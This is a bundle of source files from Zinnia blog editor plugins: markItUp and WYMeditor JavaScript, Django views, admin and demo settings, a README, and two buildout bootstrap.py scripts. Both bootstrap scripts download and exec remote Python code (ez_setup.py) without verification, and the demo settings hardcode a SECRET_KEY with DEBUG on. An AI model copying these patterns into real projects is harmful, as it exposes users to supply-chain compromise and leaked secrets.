localize(data, 1) ); } }); } else { if (!template) { $.ajax({ url: options.previewTemplatePath, dataType: 'text', global: false, success: function(data) { writeInPreview( localize(data, 1).replace(/<!-- content -->/g, $$.val()) ); } }); } } return false; } function writeInPreview(data) { if (options.previewInElement) { $(options.previewInElement).html(data); } else if (previewWindow && previewWindow.document) { try { sp = previewWindow.document.documentElement.scrollTop } catch(e) { sp = 0; } previewWindow.document.open(); previewWindow.document.write(data); previewWindow.document.close(); previewWindow.document.documentElement.scrollTop = sp; } } // set keys pressed function keyPressed(e) { shiftKey = e.shiftKey; altKey = e.altKey; ctrlKey = (!(e.altKey && e.ctrlKey)) ? (e.ctrlKey || e.metaKey) : false; if (e.type === 'keydown') { if (ctrlKey === true) { li = $('a[accesskey="'+((e.keyCode == 13) ? '\\n' : String.fromCharCode(e.keyCode))+'"]', header).parent('li'); if (li.length !== 0) { ctrlKey = false; setTimeout(function() { li.triggerHandler('mouseup'); },1); return false; } } if (e.keyCode === 13 || e.keyCode === 10) { // Enter key if (ctrlKey === true) { // Enter + Ctrl ctrlKey = false; markup(options.onCtrlEnter); return options.onCtrlEnter.keepDefault; } else if (shiftKey === true) { // Enter + Shift shiftKey = false; markup(options.onShiftEnter); return options.onShiftEnter.keepDefault; } else { // only Enter markup(options.onEnter); return options.onEnter.keepDefault; } } if (e.keyCode === 9) { // Tab key if (shiftKey == true || ctrlKey == true || altKey == true) { return false; } if (caretOffset !== -1) { get(); caretOffset = $$.val().length - caretOffset; set(caretOffset, 0); caretOffset = -1; return false; } else { markup(options.onTab); return options.onTab.keepDefault; } } } } function remove() { $$.unbind(".markItUp").removeClass('markItUpEditor'); $$.parent('div').parent('div.markItUp').parent('div').replaceWith($$); var relativeRef = $$.parent('div').parent('div.markItUp').parent('div'); if (relativeRef.length) { relativeRef.replaceWith($$); } $$.data('markItUp', null); } init(); }); }; $.fn.markItUpRemove = function() { return this.each(function() { $(this).markItUp('remove'); } ); }; $.markItUp = function(settings) { var options = { target:false }; $.extend(options, settings); if (options.target) { return $(options.target).each(function() { $(this).focus(); $(this).trigger('insertion', [options]); }); } else { $('textarea').trigger('insertion', [options]); } }; })(jQuery);
zinnia-wysiwyg-markitup
/zinnia-wysiwyg-markitup-1.2.tar.gz/zinnia-wysiwyg-markitup-1.2/zinnia_markitup/static/zinnia_markitup/js/markitup/jquery.markitup.js
jquery.markitup.js
mySettings = { onShiftEnter: {keepDefault:false, replaceWith:'<br />\n'}, onCtrlEnter: {keepDefault:false, openWith:'\n<p>', closeWith:'</p>\n'}, onTab: {keepDefault:false, openWith:' '}, markupSet: [ {name:'Heading 1', key:'1', openWith:'<h1(!( class="[![Class]!]")!)>', closeWith:'</h1>', placeHolder:'Your title here...' }, {name:'Heading 2', key:'2', openWith:'<h2(!( class="[![Class]!]")!)>', closeWith:'</h2>', placeHolder:'Your title here...' }, {name:'Heading 3', key:'3', openWith:'<h3(!( class="[![Class]!]")!)>', closeWith:'</h3>', placeHolder:'Your title here...' }, {name:'Heading 4', key:'4', openWith:'<h4(!( class="[![Class]!]")!)>', closeWith:'</h4>', placeHolder:'Your title here...' }, {name:'Heading 5', key:'5', openWith:'<h5(!( class="[![Class]!]")!)>', closeWith:'</h5>', placeHolder:'Your title here...' }, {name:'Heading 6', key:'6', openWith:'<h6(!( class="[![Class]!]")!)>', closeWith:'</h6>', placeHolder:'Your title here...' }, {name:'Paragraph', openWith:'<p(!( class="[![Class]!]")!)>', closeWith:'</p>' }, {separator:'---------------' }, {name:'Bold', key:'B', openWith:'(!(<strong>|!|<b>)!)', closeWith:'(!(</strong>|!|</b>)!)' }, {name:'Italic', key:'I', openWith:'(!(<em>|!|<i>)!)', closeWith:'(!(</em>|!|</i>)!)' }, {name:'Stroke through', key:'S', openWith:'<del>', closeWith:'</del>' }, {separator:'---------------' }, {name:'Ul', openWith:'<ul>\n', closeWith:'</ul>\n' }, {name:'Ol', openWith:'<ol>\n', closeWith:'</ol>\n' }, {name:'Li', openWith:'<li>', closeWith:'</li>' }, {separator:'---------------' }, {name:'Picture', key:'P', replaceWith:'<img src="[![Source:!:http://]!]" alt="[![Alternative text]!]" />' }, {name:'Link', key:'L', openWith:'<a href="[![Link:!:http://]!]"(!( title="[![Title]!]")!)>', closeWith:'</a>', placeHolder:'Your text to link...' }, {separator:'---------------' }, {name:'Clean', className:'clean', replaceWith:function(markitup) { return markitup.selection.replace(/<(.*?)>/g, "") } }, {name:'Preview', className:'preview', call:'preview'} ] }
zinnia-wysiwyg-markitup
/zinnia-wysiwyg-markitup-1.2.tar.gz/zinnia-wysiwyg-markitup-1.2/zinnia_markitup/static/zinnia_markitup/js/markitup/sets/html/set.js
set.js
====================== zinnia-wysiwyg-tinymce ====================== Zinnia-wysiwyg-tinymce is a package allowing you to edit your entries with `TinyMCE`_, including a dedicated filebrowser plugin. Installation ============ * Install the package on your system: :: $ pip install zinnia-wysiwyg-tinymce `django-tinymce`_ and `sorl-thumbnail`_ will also be installed as dependencies if they are not already present on the system. * Install and configure in your project django-tinymce and sorl-thumbnail accordingly to their documentation: - http://django-tinymce.readthedocs.org/en/latest/installation.html - http://sorl-thumbnail.readthedocs.org/en/latest/installation.html * Register the ``'zinnia_tinymce'`` in your ``INSTALLED_APPS`` after the ``'zinnia'`` application. * Include this URLset into your project's urls.py: :: url(r'^tinymce/zinnia/', include('zinnia_tinymce.urls')), * Run the ``syncdb`` or ``migrate`` command. * You are done ! TinyMCE can be customized by overriding the ``admin/zinnia/entry/tinymce_textareas.js`` template. .. _TinyMCE: http://www.tinymce.com/ .. _django-tinymce: https://github.com/aljosa/django-tinymce .. _sorl-thumbnail: https://github.com/mariocesar/sorl-thumbnail
zinnia-wysiwyg-tinymce
/zinnia-wysiwyg-tinymce-1.4.tar.gz/zinnia-wysiwyg-tinymce-1.4/README.rst
README.rst
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) parser.add_option("--allow-site-packages", action="store_true", default=False, help=("Let bootstrap.py use existing site packages")) parser.add_option("--setuptools-version", help="use a specific setuptools version") options, args = parser.parse_args() ###################################################################### # load/install setuptools try: if options.allow_site_packages: import setuptools import pkg_resources from urllib.request import urlopen except ImportError: from urllib2 import urlopen ez = {} exec(urlopen('https://bootstrap.pypa.io/ez_setup.py').read(), ez) if not options.allow_site_packages: # ez_setup imports site, which adds site packages # this will remove them from the path to ensure that incompatible versions # of setuptools are not in the path import site # inside a virtualenv, there is no 'getsitepackages'. # We can't remove these reliably if hasattr(site, 'getsitepackages'): for sitepackage_path in site.getsitepackages(): sys.path[:] = [x for x in sys.path if sitepackage_path not in x] setup_args = dict(to_dir=tmpeggs, download_delay=0) if options.setuptools_version is not None: setup_args['version'] = options.setuptools_version ez['use_setuptools'](**setup_args) import setuptools import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): try: return not parsed_version.is_prerelease except AttributeError: # Older setuptools for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s" % repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-wysiwyg-tinymce
/zinnia-wysiwyg-tinymce-1.4.tar.gz/zinnia-wysiwyg-tinymce-1.4/bootstrap.py
bootstrap.py
import os gettext = lambda s: s # noqa DEBUG = True DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(os.path.dirname(__file__), 'demo.db')} } TIME_ZONE = 'Europe/Paris' STATIC_URL = '/static/' STATIC_ROOT = '' MEDIA_URL = '/media/' SECRET_KEY = 'jo-1rzm(%sf)3#n+fa7j945yuv3(pt63abhi12_t7e^^5q8dyw' USE_TZ = True USE_I18N = True USE_L10N = True SITE_ID = 1 LANGUAGE_CODE = 'en' LANGUAGES = ( ('en', gettext('English')), ('fr', gettext('French')), ('de', gettext('German')), ('es', gettext('Spanish')), ('it', gettext('Italian')), ('nl', gettext('Dutch')), ('sl', gettext('Slovenian')), ('bg', gettext('Bulgarian')), ('hu', gettext('Hungarian')), ('cs', gettext('Czech')), ('sk', gettext('Slovak')), ('lt', gettext('Lithuanian')), ('ru', gettext('Russian')), ('pl', gettext('Polish')), ('eu', gettext('Basque')), ('he', gettext('Hebrew')), ('ca', gettext('Catalan')), ('tr', gettext('Turkish')), ('sv', gettext('Swedish')), ('is', gettext('Icelandic')), ('hr_HR', gettext('Croatian')), ('pt_BR', gettext('Brazilian Portuguese')), ('fa_IR', gettext('Persian')), ('fi_FI', gettext('Finnish')), ('uk_UA', gettext('Ukrainian')), ('zh-hans', gettext('Simplified Chinese')), ) MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'demo_zinnia_tinymce.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.contrib.auth.context_processors.auth', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.contrib.messages.context_processors.messages', 'zinnia.context_processors.version', ] } } ] INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.sitemaps', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.sites', 'django.contrib.admin', 'django.contrib.staticfiles', 'django_comments', 'mptt', 'sorl.thumbnail', 'tagging', 'tinymce', 'zinnia', 'zinnia_tinymce', )
zinnia-wysiwyg-tinymce
/zinnia-wysiwyg-tinymce-1.4.tar.gz/zinnia-wysiwyg-tinymce-1.4/demo_zinnia_tinymce/settings.py
settings.py
from django.contrib.admin.views.decorators import staff_member_required from django.shortcuts import get_object_or_404 from django.utils.decorators import method_decorator from django.views.decorators.cache import cache_control from django.views.generic.base import RedirectView from django.views.generic.base import TemplateView from django.views.generic.edit import CreateView from django.views.generic.list import ListView from zinnia.models import Entry from zinnia_tinymce.models import FileModel class StaffMemberRequiredMixin(object): @method_decorator(staff_member_required) @method_decorator(cache_control(max_age=0)) def dispatch(self, *args, **kwargs): return super(StaffMemberRequiredMixin, self).dispatch(*args, **kwargs) class EntryLinksView(StaffMemberRequiredMixin, ListView): model = Entry template_name = 'zinnia_tinymce/entry_links.js' content_type = 'application/javascript' class ImageLinksView(StaffMemberRequiredMixin, ListView): template_name = 'zinnia_tinymce/image_links.js' content_type = 'application/javascript' def get_queryset(self): return FileModel.objects.filter(file_type='image') class FileLinksView(StaffMemberRequiredMixin, ListView): template_name = 'zinnia_tinymce/file_links.js' content_type = 'application/javascript' def get_queryset(self): return FileModel.objects.filter(file_type='file') class FileBrowserCallBackView(StaffMemberRequiredMixin, TemplateView): template_name = 'zinnia_tinymce/filebrowser.js' content_type = 'application/javascript' class FileBrowserView(StaffMemberRequiredMixin, CreateView): model = FileModel fields = ['uploaded_file'] success_url = '.' upload_tab_active = False limit = 20 def get_context_data(self, **kwargs): context = super(FileBrowserView, self).get_context_data(**kwargs) if self.object: context['uploaded_file'] = self.object file_type = self.kwargs['file_type'] context['file_type'] = file_type context['upload_tab_active'] = self.upload_tab_active context['files'] = FileModel.objects.filter( file_type=file_type)[:self.limit] return context def post(self, request, *args, **kwargs): self.upload_tab_active = False return super(FileBrowserView, self).post(request, *args, **kwargs) def form_valid(self, form): form.instance.file_type = self.kwargs['file_type'] self.object = form.save() return super(FileBrowserView, self).form_valid(form) class RemoveFileView(StaffMemberRequiredMixin, RedirectView): permanent = False pattern_name = 'tinymce-filebrowser' def get_redirect_url(self, *args, **kwargs): pk = self.kwargs['pk'] file_type = self.kwargs['file_type'] f = get_object_or_404(FileModel, pk=pk) f.delete() return super(RemoveFileView, self).get_redirect_url( file_type=file_type)
zinnia-wysiwyg-tinymce
/zinnia-wysiwyg-tinymce-1.4.tar.gz/zinnia-wysiwyg-tinymce-1.4/zinnia_tinymce/views.py
views.py
import os import shutil import sys import tempfile from optparse import OptionParser tmpeggs = tempfile.mkdtemp() usage = '''\ [DESIRED PYTHON FOR BUILDOUT] bootstrap.py [options] Bootstraps a buildout-based project. Simply run this script in a directory containing a buildout.cfg, using the Python that you want bin/buildout to use. Note that by using --find-links to point to local resources, you can keep this script from going over the network. ''' parser = OptionParser(usage=usage) parser.add_option("-v", "--version", help="use a specific zc.buildout version") parser.add_option("-t", "--accept-buildout-test-releases", dest='accept_buildout_test_releases', action="store_true", default=False, help=("Normally, if you do not specify a --version, the " "bootstrap script and buildout gets the newest " "*final* versions of zc.buildout and its recipes and " "extensions for you. If you use this flag, " "bootstrap and buildout will get the newest releases " "even if they are alphas or betas.")) parser.add_option("-c", "--config-file", help=("Specify the path to the buildout configuration " "file to be used.")) parser.add_option("-f", "--find-links", help=("Specify a URL to search for buildout releases")) options, args = parser.parse_args() ###################################################################### # load/install setuptools to_reload = False try: import pkg_resources import setuptools except ImportError: ez = {} try: from urllib.request import urlopen except ImportError: from urllib2 import urlopen # XXX use a more permanent ez_setup.py URL when available. exec(urlopen('https://bitbucket.org/pypa/setuptools/raw/0.7.2/ez_setup.py' ).read(), ez) setup_args = dict(to_dir=tmpeggs, download_delay=0) ez['use_setuptools'](**setup_args) if to_reload: reload(pkg_resources) import pkg_resources # This does not (always?) update the default working set. We will # do it. for path in sys.path: if path not in pkg_resources.working_set.entries: pkg_resources.working_set.add_entry(path) ###################################################################### # Install buildout ws = pkg_resources.working_set cmd = [sys.executable, '-c', 'from setuptools.command.easy_install import main; main()', '-mZqNxd', tmpeggs] find_links = os.environ.get( 'bootstrap-testing-find-links', options.find_links or ('http://downloads.buildout.org/' if options.accept_buildout_test_releases else None) ) if find_links: cmd.extend(['-f', find_links]) setuptools_path = ws.find( pkg_resources.Requirement.parse('setuptools')).location requirement = 'zc.buildout' version = options.version if version is None and not options.accept_buildout_test_releases: # Figure out the most recent final version of zc.buildout. import setuptools.package_index _final_parts = '*final-', '*final' def _final_version(parsed_version): for part in parsed_version: if (part[:1] == '*') and (part not in _final_parts): return False return True index = setuptools.package_index.PackageIndex( search_path=[setuptools_path]) if find_links: index.add_find_links((find_links,)) req = pkg_resources.Requirement.parse(requirement) if index.obtain(req) is not None: best = [] bestv = None for dist in index[req.project_name]: distv = dist.parsed_version if _final_version(distv): if bestv is None or distv > bestv: best = [dist] bestv = distv elif distv == bestv: best.append(dist) if best: best.sort() version = best[-1].version if version: requirement = '=='.join((requirement, version)) cmd.append(requirement) import subprocess if subprocess.call(cmd, env=dict(os.environ, PYTHONPATH=setuptools_path)) != 0: raise Exception( "Failed to execute command:\n%s", repr(cmd)[1:-1]) ###################################################################### # Import and run buildout ws.add_entry(tmpeggs) ws.require(requirement) import zc.buildout.buildout if not [a for a in args if '=' not in a]: args.append('bootstrap') # if -c was provided, we push it back into args for buildout' main function if options.config_file is not None: args[0:0] = ['-c', options.config_file] zc.buildout.buildout.main(args) shutil.rmtree(tmpeggs)
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/bootstrap.py
bootstrap.py
from django.forms import Media from django.conf.urls import url from django.contrib import admin from django.core.urlresolvers import reverse from django.utils.translation import get_language from django.template.response import TemplateResponse from django.contrib.staticfiles.storage import staticfiles_storage from zinnia.models import Entry from zinnia.admin.entry import EntryAdmin from zinnia.settings import ENTRY_BASE_MODEL class EntryAdminWYMEditorMixin(object): """ Mixin adding WYMeditor for editing Entry.content field. """ def wymeditor(self, request): """ View for serving the config of WYMEditor. """ return TemplateResponse( request, 'admin/zinnia/entry/wymeditor.js', {'lang': get_language().split('-')[0]}, content_type='application/javascript') def get_urls(self): """ Overload the admin's urls for WYMEditor. """ entry_admin_urls = super(EntryAdminWYMEditorMixin, self).get_urls() urls = [ url(r'^wymeditor/$', self.admin_site.admin_view(self.wymeditor), name='zinnia_entry_wymeditor'), ] return urls + entry_admin_urls def _media(self): """ The medias needed to enhance the admin page. """ def static_url(url): return staticfiles_storage.url('zinnia_wymeditor/%s' % url) media = super(EntryAdminWYMEditorMixin, self).media media += Media( js=(static_url('js/jquery.min.js'), static_url('js/wymeditor/jquery.wymeditor.pack.js'), static_url('js/wymeditor/plugins/hovertools/' 'jquery.wymeditor.hovertools.js'), reverse('admin:zinnia_entry_wymeditor'))) return media media = property(_media) class EntryAdminWYMEditor(EntryAdminWYMEditorMixin, EntryAdmin): """ Enrich the default EntryAdmin with WYMEditor. """ pass if ENTRY_BASE_MODEL == 'zinnia.models_bases.entry.AbstractEntry': admin.site.unregister(Entry) admin.site.register(Entry, EntryAdminWYMEditor)
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/admin.py
admin.py
WYMeditor ========= version 1.0.0b3 WYMeditor : what you see is What You Mean web-based editor Main JS file with core classes and functions. Copyright --------- Copyright (c) 2005 - 2010 Jean-Francois Hovinne, http://www.wymeditor.org/ Dual licensed under the MIT (MIT-license.txt) and GPL (GPL-license.txt) licenses. Website ------- For further information visit: http://www.wymeditor.org/ Authors ------- See AUTHORS file */// Global WYMeditor namespace. typeof WYMeditor=="undefined"&&(WYMeditor={}),function(){if(typeof window.console=="undefined"&&typeof console=="undefined"){var a=["log","debug","info","warn","error","assert","dir","dirxml","group","groupEnd","time","timeEnd","count","trace","profile","profileEnd"],b=function(){},c;WYMeditor.console={};for(c=0;c<a.length;c+=1)WYMeditor.console[a[c]]=b}else console?WYMeditor.console=console:window.console.firebug?WYMeditor.console=window.console:window.console&&(WYMeditor.console=window.console)}(),jQuery.extend(WYMeditor,{VERSION:"1.0.0b3",INSTANCES:[],STRINGS:[],SKINS:[],NAME:"name",INDEX:"{Wym_Index}",WYM_INDEX:"wym_index",BASE_PATH:"{Wym_Base_Path}",CSS_PATH:"{Wym_Css_Path}",WYM_PATH:"{Wym_Wym_Path}",SKINS_DEFAULT_PATH:"skins/",SKINS_DEFAULT_CSS:"skin.css",SKINS_DEFAULT_JS:"skin.js",LANG_DEFAULT_PATH:"lang/",IFRAME_BASE_PATH:"{Wym_Iframe_Base_Path}",IFRAME_DEFAULT:"iframe/default/",JQUERY_PATH:"{Wym_Jquery_Path}",DIRECTION:"{Wym_Direction}",LOGO:"{Wym_Logo}",TOOLS:"{Wym_Tools}",TOOLS_ITEMS:"{Wym_Tools_Items}",TOOL_NAME:"{Wym_Tool_Name}",TOOL_TITLE:"{Wym_Tool_Title}",TOOL_CLASS:"{Wym_Tool_Class}",CLASSES:"{Wym_Classes}",CLASSES_ITEMS:"{Wym_Classes_Items}",CLASS_NAME:"{Wym_Class_Name}",CLASS_TITLE:"{Wym_Class_Title}",CONTAINERS:"{Wym_Containers}",CONTAINERS_ITEMS:"{Wym_Containers_Items}",CONTAINER_NAME:"{Wym_Container_Name}",CONTAINER_TITLE:"{Wym_Containers_Title}",CONTAINER_CLASS:"{Wym_Container_Class}",HTML:"{Wym_Html}",IFRAME:"{Wym_Iframe}",STATUS:"{Wym_Status}",DIALOG_TITLE:"{Wym_Dialog_Title}",DIALOG_BODY:"{Wym_Dialog_Body}",NEWLINE:"\n",STRING:"string",BODY:"body",DIV:"div",P:"p",H1:"h1",H2:"h2",H3:"h3",H4:"h4",H5:"h5",H6:"h6",PRE:"pre",BLOCKQUOTE:"blockquote",A:"a",BR:"br",IMG:"img",TABLE:"table",TR:"tr",TD:"td",TH:"th",UL:"ul",OL:"ol",LI:"li",CLASS:"class",HREF:"href",SRC:"src",TITLE:"title",REL:"rel",ALT:"alt",DIALOG_LINK:"Link",DIALOG_IMAGE:"Image",DIALOG_TABLE:"Table",DIALOG_PASTE:"Paste_From_Word",BOLD:"Bold",ITALIC:"Italic",CREATE_LINK:"CreateLink",INSERT_IMAGE:"InsertImage",INSERT_TABLE:"InsertTable",INSERT_HTML:"InsertHTML",PASTE:"Paste",INDENT:"Indent",OUTDENT:"Outdent",TOGGLE_HTML:"ToggleHtml",FORMAT_BLOCK:"FormatBlock",PREVIEW:"Preview",UNLINK:"Unlink",INSERT_UNORDEREDLIST:"InsertUnorderedList",INSERT_ORDEREDLIST:"InsertOrderedList",MAIN_CONTAINERS:["p","h1","h2","h3","h4","h5","h6","pre","blockquote"],BLOCKS:["address","blockquote","div","dl","fieldset","form","h1","h2","h3","h4","h5","h6","hr","noscript","ol","p","pre","table","ul","dd","dt","li","tbody","td","tfoot","th","thead","tr"],BLOCKING_ELEMENTS:["table","blockquote","pre"],NON_BLOCKING_ELEMENTS:["p","h1","h2","h3","h4","h5","h6"],POTENTIAL_LIST_ELEMENTS:["p","h1","h2","h3","h4","h5","h6","pre","blockquote","td"],KEY:{BACKSPACE:8,TAB:9,ENTER:13,CTRL:17,END:35,HOME:36,CURSOR:[37,38,39,40],LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46,B:66,I:73,R:82,COMMAND:224},NODE:{ELEMENT:1,ATTRIBUTE:2,TEXT:3},editor:function(a,b){this._index=WYMeditor.INSTANCES.push(this)-1,this._element=a,this._options=b,this._html=jQuery(a).val(),this._options.html&&(this._html=this._options.html),this._options.wymPath=this._options.wymPath||WYMeditor.computeWymPath(),this._options.basePath=this._options.basePath||WYMeditor.computeBasePath(this._options.wymPath),this._options.jQueryPath=this._options.jQueryPath||WYMeditor.computeJqueryPath(),this._options.skinPath=this._options.skinPath||this._options.basePath+WYMeditor.SKINS_DEFAULT_PATH+this._options.skin+"/",this._options.langPath=this._options.langPath||this._options.basePath+WYMeditor.LANG_DEFAULT_PATH,this._options.iframeBasePath=this._options.iframeBasePath||this._options.basePath+WYMeditor.IFRAME_DEFAULT,this.init()}}),jQuery.fn.wymeditor=function(a){return a=jQuery.extend({html:"",basePath:!1,skinPath:!1,wymPath:!1,iframeBasePath:!1,jQueryPath:!1,styles:!1,stylesheet:!1,skin:"default",initSkin:!0,loadSkin:!0,lang:"en",direction:"ltr",customCommands:[],boxHtml:String()+"<div class='wym_box'>"+"<div class='wym_area_top'>"+WYMeditor.TOOLS+"</div>"+"<div class='wym_area_left'></div>"+"<div class='wym_area_right'>"+WYMeditor.CONTAINERS+WYMeditor.CLASSES+"</div>"+"<div class='wym_area_main'>"+WYMeditor.HTML+WYMeditor.IFRAME+WYMeditor.STATUS+"</div>"+"<div class='wym_area_bottom'>"+WYMeditor.LOGO+"</div>"+"</div>",logoHtml:String()+'<a class="wym_wymeditor_link" '+'href="http://www.wymeditor.org/">WYMeditor</a>',iframeHtml:String()+'<div class="wym_iframe wym_section">'+'<iframe src="'+WYMeditor.IFRAME_BASE_PATH+'wymiframe.html" '+'onload="this.contentWindow.parent.WYMeditor.INSTANCES['+WYMeditor.INDEX+'].initIframe(this)">'+"</iframe>"+"</div>",editorStyles:[],toolsHtml:String()+'<div class="wym_tools wym_section">'+"<h2>{Tools}</h2>"+"<ul>"+WYMeditor.TOOLS_ITEMS+"</ul>"+"</div>",toolsItemHtml:String()+'<li class="'+WYMeditor.TOOL_CLASS+'">'+'<a href="#" name="'+WYMeditor.TOOL_NAME+'" '+'title="'+WYMeditor.TOOL_TITLE+'">'+WYMeditor.TOOL_TITLE+"</a>"+"</li>",toolsItems:[{name:"Bold",title:"Strong",css:"wym_tools_strong"},{name:"Italic",title:"Emphasis",css:"wym_tools_emphasis"},{name:"Superscript",title:"Superscript",css:"wym_tools_superscript"},{name:"Subscript",title:"Subscript",css:"wym_tools_subscript"},{name:"InsertOrderedList",title:"Ordered_List",css:"wym_tools_ordered_list"},{name:"InsertUnorderedList",title:"Unordered_List",css:"wym_tools_unordered_list"},{name:"Indent",title:"Indent",css:"wym_tools_indent"},{name:"Outdent",title:"Outdent",css:"wym_tools_outdent"},{name:"Undo",title:"Undo",css:"wym_tools_undo"},{name:"Redo",title:"Redo",css:"wym_tools_redo"},{name:"CreateLink",title:"Link",css:"wym_tools_link"},{name:"Unlink",title:"Unlink",css:"wym_tools_unlink"},{name:"InsertImage",title:"Image",css:"wym_tools_image"},{name:"InsertTable",title:"Table",css:"wym_tools_table"},{name:"Paste",title:"Paste_From_Word",css:"wym_tools_paste"},{name:"ToggleHtml",title:"HTML",css:"wym_tools_html"},{name:"Preview",title:"Preview",css:"wym_tools_preview"}],containersHtml:String()+'<div class="wym_containers wym_section">'+"<h2>{Containers}</h2>"+"<ul>"+WYMeditor.CONTAINERS_ITEMS+"</ul>"+"</div>",containersItemHtml:String()+'<li class="'+WYMeditor.CONTAINER_CLASS+'">'+'<a href="#" name="'+WYMeditor.CONTAINER_NAME+'">'+WYMeditor.CONTAINER_TITLE+"</a>"+"</li>",containersItems:[{name:"P",title:"Paragraph",css:"wym_containers_p"},{name:"H1",title:"Heading_1",css:"wym_containers_h1"},{name:"H2",title:"Heading_2",css:"wym_containers_h2"},{name:"H3",title:"Heading_3",css:"wym_containers_h3"},{name:"H4",title:"Heading_4",css:"wym_containers_h4"},{name:"H5",title:"Heading_5",css:"wym_containers_h5"},{name:"H6",title:"Heading_6",css:"wym_containers_h6"},{name:"PRE",title:"Preformatted",css:"wym_containers_pre"},{name:"BLOCKQUOTE",title:"Blockquote",css:"wym_containers_blockquote"},{name:"TH",title:"Table_Header",css:"wym_containers_th"}],classesHtml:String()+'<div class="wym_classes wym_section">'+"<h2>{Classes}</h2>"+"<ul>"+WYMeditor.CLASSES_ITEMS+"</ul>"+"</div>",classesItemHtml:String()+'<li class="wym_classes_'+WYMeditor.CLASS_NAME+'">'+'<a href="#" name="'+WYMeditor.CLASS_NAME+'">'+WYMeditor.CLASS_TITLE+"</a>"+"</li>",classesItems:[],statusHtml:String()+'<div class="wym_status wym_section">'+"<h2>{Status}</h2>"+"</div>",htmlHtml:String()+'<div class="wym_html wym_section">'+"<h2>{Source_Code}</h2>"+'<textarea class="wym_html_val"></textarea>'+"</div>",boxSelector:".wym_box",toolsSelector:".wym_tools",toolsListSelector:" ul",containersSelector:".wym_containers",classesSelector:".wym_classes",htmlSelector:".wym_html",iframeSelector:".wym_iframe iframe",iframeBodySelector:".wym_iframe",statusSelector:".wym_status",toolSelector:".wym_tools a",containerSelector:".wym_containers a",classSelector:".wym_classes a",htmlValSelector:".wym_html_val",hrefSelector:".wym_href",srcSelector:".wym_src",titleSelector:".wym_title",relSelector:".wym_rel",altSelector:".wym_alt",textSelector:".wym_text",rowsSelector:".wym_rows",colsSelector:".wym_cols",captionSelector:".wym_caption",summarySelector:".wym_summary",submitSelector:"form",cancelSelector:".wym_cancel",previewSelector:"",dialogTypeSelector:".wym_dialog_type",dialogLinkSelector:".wym_dialog_link",dialogImageSelector:".wym_dialog_image",dialogTableSelector:".wym_dialog_table",dialogPasteSelector:".wym_dialog_paste",dialogPreviewSelector:".wym_dialog_preview",updateSelector:".wymupdate",updateEvent:"click",dialogFeatures:"menubar=no,titlebar=no,toolbar=no,resizable=no,width=560,height=300,top=0,left=0",dialogFeaturesPreview:"menubar=no,titlebar=no,toolbar=no,resizable=no,scrollbars=yes,width=560,height=300,top=0,left=0",dialogHtml:String()+'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" '+'"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'+'<html dir="'+WYMeditor.DIRECTION+'">'+"<head>"+'<link rel="stylesheet" type="text/css" media="screen" '+'href="'+WYMeditor.CSS_PATH+'" 